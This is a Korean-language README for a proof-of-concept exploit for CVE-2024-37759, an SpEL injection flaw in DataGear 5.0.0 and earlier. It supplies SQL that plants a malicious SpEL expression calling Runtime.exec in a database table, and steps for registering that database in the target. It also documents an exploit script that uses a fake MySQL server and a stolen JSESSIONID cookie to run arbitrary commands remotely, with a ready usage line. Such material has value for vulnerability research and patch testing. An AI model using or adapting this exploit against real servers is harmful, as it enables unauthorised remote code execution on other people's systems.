
CVE-2024-37759에 대한 개념 증명 익스플로잇으로, DataGear 5.0.0 및 이전 버전의 SpEL 주입 취약점으로 조작된 데이터베이스 테이블을 통해 원격 코드 실행을 가능하게 합니다.
DataGear 5.0.0 이하 버전에는 원격 코드 실행으로 이어지는 SpEL 표현식 주입 취약점이 있습니다.
/data/{schemaId}/{tableName}/view 인터페이스를 요청할 때, 데이터베이스 테이블에 기본 키가 없으면 공격자는 data 필드에 악의적인 SpEL 표현식을 주입할 수 있습니다. "view" 버튼을 클릭하면 SpEL 표현식이 실행됩니다.
공격을 수행하려면 다음과 같이 악의적인 데이터베이스 테이블을 생성할 수 있습니다:
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
그런 다음 로그인하여 스키마 추가 인터페이스에서 이 MySQL 데이터베이스를 추가합니다: /schema/saveAdd.
그 후 "view" 버튼을 클릭하면 SpEL 표현식이 실행됩니다.
이 익스플로잇은 MySQL_Fake_Server를 기반으로 수정되었습니다. 먼저 포털에 로그인하여 "JSESSIONID" 쿠키를 획득합니다. 그런 다음 이 익스플로잇을 사용하여 명령을 자동으로 실행할 수 있습니다.
-t 인자는 대상 취약 사이트를 지정하고, -o는 MySQL 페이크 서버에 접근할 수 있는 공용 IP 주소를, -p는 페이크 서버 포트를, -s는 "JSESSIONID" 쿠키 값을, -c는 실행할 명령을 지정합니다.
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"